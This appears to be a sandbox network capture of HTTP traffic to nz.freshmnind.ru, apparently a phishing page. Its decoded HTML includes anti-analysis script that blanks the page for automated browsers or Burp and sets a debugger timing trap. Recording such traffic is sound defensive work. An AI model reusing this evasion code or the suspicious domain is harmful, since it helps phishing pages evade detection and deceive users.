2025-03-25 17:08:16 UTC	1137	OUT	GET /qr8iA8xuH5u4Qduqk2y9GGJKeVfpXPDCfu HTTP/1.1 Host: nz.freshmnind.ru Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6Ims1dkFhT0NBMjBsT3hqbTZZYjE5MlE9PSIsInZhbHVlIjoiNVMvc1J2aGhVaW85WmVjVEpUZU5hVWpySXVaKzJ5clE1M3Y0aUZxa21RNWwwdmpleFltNHowenphYkNTNFZISjY3VkErNlg4SVJKbjc4YVhDNUhvSjRlY21MZDBNOS9IUkdIUUg5V2NhYnNXTVhFeTY1bE44RWhiWlFDN2VKejgiLCJtYWMiOiJkOWZhMGRmNmRlMmY5NDdiNTA2NmJlNmRmZTMxNTk3ZWJiMmU3OWE3MDc2Y2VlNTQ0ZWZlMzk5ZTllMzUyNjExIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InluSVQwSzZ0OVl0b1RBVkNhNGZKcWc9PSIsInZhbHVlIjoicm9OV0FLeFFTbmZDYVoybUt5M3YwNUl1aTY5a0N4alUvclBnTDMwaktVd2NEN1BKdEViOWIzdVI0TnpBVmdLVVdwYXQ2VVZRS1VacW9oQitaK1dZY1pRZVYwTE5ITE5hekNWY2VCVDZJUEFXM3ZwY1hsUFo2OW9tRVBvZ0Q3NEEiLCJtYWMiOiI3OWIxNDMxMmQ3OGRlZjRhMzY5MTQ5OTBkMDhmMDM0ODg1MGRkNzdmMTI5MzhkMTE1NjQxYjhjMDM2MDAzMzcyIiwidGFnIjoiIn0%3D
2025-03-25 17:08:17 UTC	1028	IN	HTTP/1.1 404 Not Found Date: Tue, 25 Mar 2025 17:08:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=R3nM3KFi%2F3Rzj%2BB0soZkssFiFSgk0Mh0k8Aji7rFHffcunLT%2FsPH18HnUU5kNT4vx0n%2BurvNH3n2oyaqBYUYjVunN651Xh7J8YdhG7Dp92X3Lr71M1QurKmNZ6QR"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=4920&min_rtt=4782&rtt_var=1590&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2827&recv_bytes=2044&delivery_rate=531278&cwnd=237&unsent_bytes=0&cid=30d589826a6b3155&ts=137&x=0" Server: cloudflare CF-RAY: 92600264ae245e39-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=105561&min_rtt=105512&rtt_var=22296&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2830&recv_bytes=1709&delivery_rate=35304&cwnd=216&unsent_bytes=0&cid=0759b095d61a4160&ts=576&x=0"
2025-03-25 17:08:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-25 17:08:16 UTC	1498	OUT	GET /IBAPKAFDSPMDLVCPIPCLJYXYDGd2jsuycmnjcqbg9i281l0inquulm?HKUKGRUJBWIOGKPMR HTTP/1.1 Host: nz.freshmnind.ru Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://nz.freshmnind.ru/E9nFcFhuAwW2u/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6Ikc4QW5Od3lEbGVMYnJ3d1FzOUJoaWc9PSIsInZhbHVlIjoiOWF5NVhaV3VBY0E1Qy8xNmpRL282MUprU2c1d01uK3p6VWlrZmdlTnpTVnNwKzVPMU5VVlJSSCtwUXlxc3hnd29DQmNUcTNnQTdBTlAwTWs1UWN4U0ZaK1h1TlVmSFowSmN2R2pHYVlLMHRjYXpvS09aUEhqZ3dzN1ErbzhhaG8iLCJtYWMiOiI5YjkyNjUwYzBkNDQxN2RjZGE1Yjg2YmQ2OGJmNWViZWQyMWRiYjEzZDVhYWVkOTMyMWJlMjRjMzVjZDA4ZWI0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImFOWmJGMEJpTjI1TnR3L1NEVTN5ZXc9PSIsInZhbHVlIjoiNXpnbFRoN3JkZHZpQW4wOW0wYUFQL1ZKTUVDNkJuMHRjVTRRMHlsRlpwalB0ckFOWldPbnRDNmNmTzZNeStaUEVIZUJGemtCdHpNT1NOSHdFWnpyZ0xHOEc2N244SnVEYndWRDVYSFcyYjBDVG1RQXhJU25CWEpFUWl3blZ2VEsiLCJtYWMiOiIzNjY4YTE5ZjU4Y2ZmNjIwZTY1ODhjZDc3YjVkMDRkZDA4ODlmYjVhMThiYzgzZDEwMTBiZjZkN2UzOTRkMjhhIiwidGFnIjoiIn0%3D
2025-03-25 17:08:17 UTC	1202	IN	HTTP/1.1 200 OK Date: Tue, 25 Mar 2025 17:08:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ANtku%2FrEPSKScK49HAbsZ7BTSMcIY0SiZAS22pFh2uvwIRpPgvfixMn3WwadtunRAk2x6bcgFhIRkF3aWwcZ%2Fdo24mZvOTrqicSr8lXd3grPTyIBXvGu2toyHLYD"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=4486&min_rtt=4428&rtt_var=1777&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2825&recv_bytes=2405&delivery_rate=591382&cwnd=251&unsent_bytes=0&cid=d825bb48552293ef&ts=146&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6InNaM2Q2Ri9KYTBQTEIyL2g2WGNON2c9PSIsInZhbHVlIjoiQVFOMFBOb09EOXAwYVJacGErOThYcytxZlQ2SXBrMWhwS3E5TlV4LzR6bHMraFRaSnVKUXBTWDJJeW03ZlpZU1RUejRkMUxjNlZSYWpBMkRaQlFoQlVnZHRJenc5S2RTUmFtcVNlVUM1NkpWQUZ6WGtvQXk4QkR2SDNIeUQ3MXAiLCJtYWMiOiI4NDdhYTE0ZjI5MmEzNzdjNWIyMGE1ZjIxODY1NmRhNDZjYTE1NjczNmJjMmNkMTJhOGMxYzM2YjdiMzJiZWRmIiwidGFnIjoiIn0%3D; expires=Tue, 25-Mar-2025 19:08:17 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-03-25 17:08:17 UTC	766	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6c 68 30 62 48 56 44 65 47 39 4d 56 30 56 6c 54 31 46 45 56 46 64 68 53 7a 6c 51 63 6e 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 63 48 4e 4c 62 46 6c 5a 62 56 67 33 61 6b 52 4d 4f 58 6c 31 54 31 5a 42 51 32 4a 53 4f 56 64 52 65 54 4e 6c 4d 44 56 52 4f 47 64 57 52 6c 41 72 57 45 31 53 63 30 4e 4a 63 32 6c 59 61 47 68 50 55 6d 68 68 54 57 52 56 54 55 31 58 62 6c 56 50 56 57 78 56 5a 54 4a 30 59 7a 4d 7a 4d 79 74 50 63 6b 78 30 51 32 46 74 4d 6a 52 71 4d 6e 6c 46 65 6e 49 31 51 6b 77 32 63 33 59 7a 56 6b 74 53 59 58 63 33 59 55 78 43 4d 44 4a 73 5a 6d 74 68 57 47 52 48 4d 6e 70 4e 62 6b 51 34 61 47 78 53 64 6e 4e 4a 5a 6d 46 69 57 56 59 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6Ilh0bHVDeG9MV0VlT1FEVFdhSzlQcnc9PSIsInZhbHVlIjoicHNLbFlZbVg3akRMOXl1T1ZBQ2JSOVdReTNlMDVROGdWRlArWE1Sc0NJc2lYaGhPUmhhTWRVTU1XblVPVWxVZTJ0YzMzMytPckx0Q2FtMjRqMnlFenI1Qkw2c3YzVktSYXc3YUxCMDJsZmthWGRHMnpNbkQ4aGxSdnNJZmFiWVY
2025-03-25 17:08:17 UTC	1369	IN	Data Raw: 35 63 65 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0d 0a 20 20 20 20 3c 74 69 74 Data Ascii: 5ceb<!DOCTYPE html><html lang="en"><head> <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1"> <meta name="robots" content="noindex, nofollow"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <tit
2025-03-25 17:08:17 UTC	1369	IN	Data Raw: 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 74 6f 70 3a 31 32 30 70 78 3b 6c 65 66 74 3a 32 35 70 78 3b 77 69 64 74 68 3a 76 61 72 28 2d 2d 65 6e 76 57 29 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 72 67 62 61 28 30 2c 30 2c 30 2c 2e 32 35 29 20 30 20 34 70 78 20 35 70 78 3b 61 6e 69 6d 61 74 69 6f 6e 3a 73 68 61 64 6f 77 2d 66 61 64 65 20 76 61 72 28 2d 2d 64 75 72 29 20 69 6e 66 69 6e 69 74 65 3b 7d 0d 0a 23 66 6c 61 70 43 6f 6e 74 61 69 6e 65 72 7b 77 69 64 74 68 3a 76 61 72 28 2d 2d 65 6e 76 57 29 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 37 39 70 78 3b 7d 0d 0a 23 65 66 7b 77 69 64 74 68 3a 76 61 72 28 2d 2d 65 6e 76 57 29 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 34 31 70 78 3b 7d 0d 0a 23 65 66 3e 2e 6c 7b 77 69 64 74 68 3a 32 38 37 70 78 3b 62 61 63 Data Ascii: position:relative;top:120px;left:25px;width:var(--envW);box-shadow:rgba(0,0,0,.25) 0 4px 5px;animation:shadow-fade var(--dur) infinite;}#flapContainer{width:var(--envW);margin-top:179px;}#ef{width:var(--envW);margin-top:-41px;}#ef>.l{width:287px;bac
2025-03-25 17:08:17 UTC	1369	IN	Data Raw: 3b 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 63 75 62 69 63 2d 62 65 7a 69 65 72 28 30 2e 33 32 2c 30 2c 30 2e 36 37 2c 30 29 3b 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 67 69 6e 3a 74 6f 70 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 59 28 63 61 6c 63 28 2d 31 20 2a 20 76 61 72 28 2d 2d 65 6e 76 48 29 29 29 20 72 6f 74 61 74 65 33 64 28 31 2c 30 2c 30 2c 39 30 64 65 67 29 3b 7d 0d 0a 2e 66 6c 61 70 54 72 69 61 6e 67 6c 65 7b 77 69 64 74 68 3a 76 61 72 28 2d 2d 66 6c 61 70 53 29 3b 68 65 69 67 68 74 3a 76 61 72 28 2d 2d 66 6c 61 70 53 29 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 35 30 64 39 66 66 3b 6d 61 72 67 69 6e 3a 2d 34 38 70 78 20 61 75 74 6f 20 30 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 37 70 78 Data Ascii: ;animation-timing-function:cubic-bezier(0.32,0,0.67,0);transform-origin:top;transform:translateY(calc(-1 * var(--envH))) rotate3d(1,0,0,90deg);}.flapTriangle{width:var(--flapS);height:var(--flapS);background:#50d9ff;margin:-48px auto 0;border-radius:7px
2025-03-25 17:08:17 UTC	1369	IN	Data Raw: 6c 61 74 65 59 28 63 61 6c 63 28 2d 31 20 2a 20 76 61 72 28 2d 2d 65 6e 76 48 29 29 29 20 72 6f 74 61 74 65 33 64 28 31 2c 30 2c 30 2c 39 30 64 65 67 29 3b 7d 7d 0d 0a 20 20 20 20 3c 2f 73 74 79 6c 65 3e 0d 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 69 66 20 28 6e 61 76 69 67 61 74 6f 72 2e 77 65 62 64 72 69 76 65 72 20 7c 7c 20 77 69 6e 64 6f 77 2e 63 61 6c 6c 50 68 61 6e 74 6f 6d 20 7c 7c 20 77 69 6e 64 6f 77 2e 5f 70 68 61 6e 74 6f 6d 20 7c 7c 20 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 2e 69 6e 63 6c 75 64 65 73 28 22 42 75 72 70 22 29 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 20 3d 20 22 61 62 6f 75 74 3a 62 6c 61 6e 6b 22 3b 0d 0a 7d 0d 0a 64 6f 63 75 6d 65 6e 74 2e 61 64 64 45 Data Ascii: lateY(calc(-1 * var(--envH))) rotate3d(1,0,0,90deg);}} </style> <script> if (navigator.webdriver \|\| window.callPhantom \|\| window._phantom \|\| navigator.userAgent.includes("Burp")) { window.location = "about:blank";}document.addE
2025-03-25 17:08:17 UTC	1369	IN	Data Raw: 6e 74 44 65 66 61 75 6c 74 28 29 3b 0d 0a 20 20 20 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 0d 0a 7d 29 3b 0d 0a 79 48 72 56 6e 67 67 53 78 6a 20 3d 20 66 61 6c 73 65 3b 0d 0a 28 66 75 6e 63 74 69 6f 6e 20 77 6a 4c 43 61 53 68 62 63 6a 28 29 20 7b 0d 0a 20 20 20 20 6c 65 74 20 63 48 6c 56 47 4a 62 79 47 59 20 3d 20 66 61 6c 73 65 3b 0d 0a 20 20 20 20 63 6f 6e 73 74 20 65 4e 53 6f 46 50 6a 62 4e 52 20 3d 20 31 30 30 3b 0d 0a 20 20 20 20 73 65 74 49 6e 74 65 72 76 61 6c 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 63 6f 6e 73 74 20 6b 51 77 50 48 57 56 69 57 57 20 3d 20 70 65 72 66 6f 72 6d 61 6e 63 65 2e 6e 6f 77 28 29 3b 0d 0a 20 20 20 20 20 20 20 20 64 65 62 75 67 67 65 72 3b 0d 0a 20 20 20 20 20 20 20 20 63 6f 6e 73 74 20 71 65 Data Ascii: ntDefault(); return false;});yHrVnggSxj = false;(function wjLCaShbcj() { let cHlVGJbyGY = false; const eNSoFPjbNR = 100; setInterval(function() { const kQwPHWViWW = performance.now(); debugger; const qe
2025-03-25 17:08:17 UTC	1369	IN	Data Raw: 22 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 20 73 32 22 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 20 73 33 22 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 20 73 34 22 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 20 73 31 22 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 20 73 32 22 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 20 73 35 22 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 20 73 34 22 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 20 73 31 22 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c Data Ascii: "></div><div class="s s2"></div><div class="s s3"></div></div><div class="r"><div class="s s4"></div><div class="s s1"></div><div class="s s2"></div></div><div class="r"><div class="s s5"></div><div class="s s4"></div><div class="s s1"></div></div></div><
2025-03-25 17:08:17 UTC	1369	IN	Data Raw: 31 2e 36 33 31 2e 35 36 37 20 32 2e 33 31 38 2e 33 37 37 2e 36 39 2e 39 31 20 31 2e 32 33 20 31 2e 35 38 35 20 31 2e 36 30 32 2e 36 37 33 2e 33 37 33 20 31 2e 34 35 32 2e 35 36 33 20 32 2e 33 31 33 2e 35 36 33 20 31 2e 30 30 36 20 30 20 31 2e 38 36 36 2d 2e 32 30 31 20 32 2e 35 35 34 2d 2e 35 39 37 6c 2e 30 32 37 2d 2e 30 31 37 76 2d 31 2e 39 34 6c 2d 2e 30 38 39 2e 30 36 36 63 2d 2e 33 31 32 2e 32 32 37 2d 2e 36 36 2e 34 30 38 2d 31 2e 30 33 35 2e 35 33 38 61 33 2e 31 32 31 20 33 2e 31 32 31 20 30 20 30 31 2d 31 2e 30 31 34 2e 31 39 37 63 2d 2e 38 33 20 30 2d 31 2e 34 39 37 2d 2e 32 36 2d 31 2e 39 38 32 2d 2e 37 37 32 2d 2e 34 38 35 2d 2e 35 31 33 2d 2e 37 33 2d 31 2e 32 33 33 2d 2e 37 33 2d 32 2e 31 34 20 30 2d 2e 39 31 32 2e 32 35 35 2d 31 2e 36 35 31 Data Ascii: 1.631.567 2.318.377.69.91 1.23 1.585 1.602.673.373 1.452.563 2.313.563 1.006 0 1.866-.201 2.554-.597l.027-.017v-1.94l-.089.066c-.312.227-.66.408-1.035.538a3.121 3.121 0 01-1.014.197c-.83 0-1.497-.26-1.982-.772-.485-.513-.73-1.233-.73-2.14 0-.912.255-1.651
2025-03-25 17:08:17 UTC	1369	IN	Data Raw: 2e 30 35 36 2d 2e 31 30 39 63 2d 31 2e 30 31 20 30 2d 31 2e 38 34 35 2e 32 35 38 2d 32 2e 34 38 33 2e 37 36 37 2d 2e 36 34 2e 35 31 32 2d 2e 39 36 37 20 31 2e 31 38 34 2d 2e 39 36 37 20 31 2e 39 39 37 20 30 20 2e 34 32 32 2e 30 37 2e 37 39 38 2e 32 30 39 20 31 2e 31 31 36 2e 31 34 2e 33 32 2e 33 35 35 2e 36 2e 36 34 31 2e 38 33 37 2e 32 38 33 2e 32 33 33 2e 37 32 32 2e 34 37 38 20 31 2e 33 30 32 2e 37 32 38 2e 34 38 38 2e 32 2e 38 35 32 2e 33 37 20 31 2e 30 38 33 2e 35 30 35 2e 32 32 37 2e 31 33 2e 33 38 37 2e 32 36 33 2e 34 37 37 2e 33 39 2e 30 38 38 2e 31 32 37 2e 31 33 33 2e 32 39 39 2e 31 33 33 2e 35 31 32 20 30 20 2e 36 30 34 2d 2e 34 35 32 2e 38 39 37 2d 31 2e 33 38 34 2e 38 39 37 61 33 2e 38 20 33 2e 38 20 30 20 30 31 2d 31 2e 31 37 32 2d 2e 32 31 Data Ascii: .056-.109c-1.01 0-1.845.258-2.483.767-.64.512-.967 1.184-.967 1.997 0 .422.07.798.209 1.116.14.32.355.6.641.837.283.233.722.478 1.302.728.488.2.852.37 1.083.505.227.13.387.263.477.39.088.127.133.299.133.512 0 .604-.452.897-1.384.897a3.8 3.8 0 01-1.172-.21
2025-03-25 17:08:17 UTC	1369	IN	Data Raw: 30 31 2e 33 31 39 2d 2e 30 37 2e 35 33 35 2d 2e 31 33 37 2e 36 36 32 2d 2e 32 31 6c 2e 30 32 39 2d 2e 30 31 36 76 2d 31 2e 37 34 33 6c 2d 2e 30 38 37 2e 30 35 38 63 2d 2e 31 31 37 2e 30 37 38 2d 2e 32 36 32 2e 31 34 2d 2e 34 33 32 2e 31 38 38 2d 2e 31 37 2e 30 34 38 2d 2e 33 31 32 2e 30 37 32 2d 2e 34 32 32 2e 30 37 32 2d 2e 34 31 36 20 30 2d 2e 37 32 33 2d 2e 31 31 32 2d 2e 39 31 34 2d 2e 33 33 32 2d 2e 31 39 31 2d 2e 32 32 33 2d 2e 32 38 39 2d 2e 36 31 32 2d 2e 32 38 39 2d 31 2e 31 35 38 56 39 2e 34 38 68 32 2e 31 34 34 7a 22 20 66 69 6c 6c 3d 22 23 37 33 37 34 37 34 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 64 3d 22 4d 30 20 39 2e 39 35 38 68 39 2e 39 35 38 56 2e 30 30 31 48 30 7a 22 20 66 69 6c 6c 3d 22 23 46 30 35 31 32 34 22 3e 3c 2f 70 61 74 68 Data Ascii: 01.319-.07.535-.137.662-.21l.029-.016v-1.743l-.087.058c-.117.078-.262.14-.432.188-.17.048-.312.072-.422.072-.416 0-.723-.112-.914-.332-.191-.223-.289-.612-.289-1.158V9.48h2.144z" fill="#737474"></path><path d="M0 9.958h9.958V.001H0z" fill="#F05124"></path

Timestamp	Bytes transferred	Direction	Data
2025-03-25 17:08:16 UTC	1151	OUT	GET /rqhMZrxcLmuSgWxr7Fiam5z0o7XZsftkrmXZqzaPSanAdSjy HTTP/1.1 Host: nz.freshmnind.ru Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6Ikc4QW5Od3lEbGVMYnJ3d1FzOUJoaWc9PSIsInZhbHVlIjoiOWF5NVhaV3VBY0E1Qy8xNmpRL282MUprU2c1d01uK3p6VWlrZmdlTnpTVnNwKzVPMU5VVlJSSCtwUXlxc3hnd29DQmNUcTNnQTdBTlAwTWs1UWN4U0ZaK1h1TlVmSFowSmN2R2pHYVlLMHRjYXpvS09aUEhqZ3dzN1ErbzhhaG8iLCJtYWMiOiI5YjkyNjUwYzBkNDQxN2RjZGE1Yjg2YmQ2OGJmNWViZWQyMWRiYjEzZDVhYWVkOTMyMWJlMjRjMzVjZDA4ZWI0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImFOWmJGMEJpTjI1TnR3L1NEVTN5ZXc9PSIsInZhbHVlIjoiNXpnbFRoN3JkZHZpQW4wOW0wYUFQL1ZKTUVDNkJuMHRjVTRRMHlsRlpwalB0ckFOWldPbnRDNmNmTzZNeStaUEVIZUJGemtCdHpNT1NOSHdFWnpyZ0xHOEc2N244SnVEYndWRDVYSFcyYjBDVG1RQXhJU25CWEpFUWl3blZ2VEsiLCJtYWMiOiIzNjY4YTE5ZjU4Y2ZmNjIwZTY1ODhjZDc3YjVkMDRkZDA4ODlmYjVhMThiYzgzZDEwMTBiZjZkN2UzOTRkMjhhIiwidGFnIjoiIn0%3D
2025-03-25 17:08:17 UTC	1026	IN	HTTP/1.1 404 Not Found Date: Tue, 25 Mar 2025 17:08:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nzU7cadHpuPUlNsW%2F24lkHO1w8c9XX0V8Tez%2FZt3FvGaR1jIXpnZ3yANXaKrY5maDuewLNhUTLzw5y2orGcQkyWxRFmbZNLz1iYHTjSQ64WK4YpaldKdrNYMV%2F1n"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=1216&min_rtt=1210&rtt_var=466&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2058&delivery_rate=2298412&cwnd=251&unsent_bytes=0&cid=3d6554a02e2c1064&ts=123&x=0" Server: cloudflare CF-RAY: 926002676882b9c6-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=106929&min_rtt=104847&rtt_var=24299&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2829&recv_bytes=1723&delivery_rate=35529&cwnd=238&unsent_bytes=0&cid=9727f5181f71028e&ts=558&x=0"
2025-03-25 17:08:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-25 17:08:17 UTC	531	OUT	OPTIONS /report/v4?s=b1R4l4F9uVRnJY6B%2FnyAKyPRz3488sYqrGoNXHihBfLgp0PekZiXQv4wixuPMK9pEsuIRKSxL9dT3sX%2B2M3hVrGKbQQcyqrHvPQro1OHqZ7O8cCpd1tg2ZOiOgcL HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://nz.freshmnind.ru Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-25 17:08:17 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: POST, OPTIONS access-control-allow-origin: * access-control-allow-headers: content-type, content-length date: Tue, 25 Mar 2025 17:08:16 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Timestamp	Bytes transferred	Direction	Data
2025-03-25 17:08:17 UTC	506	OUT	POST /report/v4?s=b1R4l4F9uVRnJY6B%2FnyAKyPRz3488sYqrGoNXHihBfLgp0PekZiXQv4wixuPMK9pEsuIRKSxL9dT3sX%2B2M3hVrGKbQQcyqrHvPQro1OHqZ7O8cCpd1tg2ZOiOgcL HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 436 Content-Type: application/reports+json Origin: https://nz.freshmnind.ru User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-25 17:08:17 UTC	436	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 30 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 38 35 30 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 6e 7a 2e 66 72 65 73 68 6d 6e 69 6e 64 2e 72 75 2f 45 39 6e 46 63 46 68 75 41 77 57 32 75 2f 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 37 32 2e 36 37 2e 31 39 31 2e 33 36 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 34 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b Data Ascii: [{"age":0,"body":{"elapsed_time":850,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"https://nz.freshmnind.ru/E9nFcFhuAwW2u/","sampling_fraction":1.0,"server_ip":"172.67.191.36","status_code":404,"type":"http.error"},"type":"network
